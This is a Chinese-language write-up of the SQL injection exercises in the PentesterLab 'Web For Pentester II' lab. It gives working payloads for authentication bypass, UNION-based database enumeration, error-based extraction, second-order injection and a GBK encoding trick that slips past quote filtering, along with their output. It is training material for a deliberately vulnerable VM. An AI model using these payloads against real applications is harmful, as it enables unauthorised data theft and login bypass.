Web For Pentester II

Reference

VM有時會出錯,無法啟動httpd,試著修改記憶體大小看看

SQL Injections

Example 1

  1. 在Username欄位輸入單引號',SQL語法就類似SELECT * FROM users WHERE username=''' AND password='[PASSWORD]',但因為插入單引號後語法就不對了(有奇數個單引號),就回傳了錯誤訊息:
    Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password=''
    
  2. 在Username欄位輸入' or 1=1,為了讓整個條件式都為true
    • SQL語法變為:SELECT * FROM users WHERE username='' or 1=1 ' AND password='[PASSWORD]'
    • 但還是錯誤有錯誤訊息,這是因為後面的' AND password='[PASSWORD]'還是會被執行造成錯誤
  3. 使用comment忽略後面的指令:--#
    • SQL語法為:SELECT * FROM users WHERE username='' or 1=1 -- ' AND password='[PASSWORD]'
    • 注意:使用--時,後面還要多個空格
    • 若在URL裡輸入payload,記得要將特輸符號做URL編碼,像是=, #,
    • 'or 1#的payload可以bypass某些filter

Example 2

  1. Example 1只要有任何東西回傳就bypass了,但這題限制了只能有一筆資料
  2. ' or 1=1 LIMIT 1 --只回傳一筆資料(一列)

Example 3

  1. 這題會過濾單引號,但可以用反斜線\將第二個單引號escape掉,變成第一個與第三個單引號合併,接著後面設為true後再把第四個單引號comment掉
  2. Username輸入\,Password輸入or 1=1 #
    • SQL語法變為:SELECT * FROM users WHERE username='\' and password='or 1=1 #'

Example 4

  1. 直接username參數後面就可以注入了:UNION SELECT version(),user(),3
    • 得到5.1.66-0+squeeze1 pentesterlab@localhost
  2. 查詢table_schema:UNION SELECT table_schema,2,3 FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  3. 查詢table_name:UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  4. 查詢column_name:UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  5. 查詢所有使用者:UNION SELECT id,username,3 FROM users

Example 5

  1. 注入點為LIMIT參數:SQL語法為SELECT * FROM users LIMIT 1;
  2. 直接在LIMIT參數後面加上2 UNION SELECT id,username,3 FROM users,會選擇出所有資料列,前兩筆是原本LIMIT參數抓出來的,也就是第一個2,後面四筆是UNION SELECT再次選擇出users table資料。
    id    name
    1     user1
    2     user2
    1     user1
    2     user2
    3     user3
    4     user4
    

Example 6

  1. 注入點為GROUP BY參數:SELECT * FROM users GROUP BY id;
  2. 後面就直接UNION SELECT ...

Example 7

  1. error-based sqli: extractvalue('%3Cxml%3E',concat(%22/%22,(select%20version())))
  2. 回傳了版本號:Mysql2::Error: XPATH syntax error: '5.1.66-0+squeeze1': SELECT * FROM users WHERE id=extractvalue('<xml>',concat("/",(select version())))

Example 8

  1. 這題是Second-Order SQL Injection,首先建立使用者aaa,後面接著插入其它語法,完整語法如下:aaa' UNION ALL SELECT user(),now(),version() FROM users #
  2. 點擊新建立的使用者,即會執行後面的script:
    User: 2016-10-29 08:23:22
    Id: pentesterlab@localhost
    Password: 5.1.66-0+squeeze1
    

Example 9

  1. 使用GBK中文編碼來bypass對單引號的過濾
  2. 在username欄位先輸入個中文字,後面再插payload:好' or 1=1 #或在URL裡輸入%bf%27+or+1=1+%23

results matching ""

    No results matching ""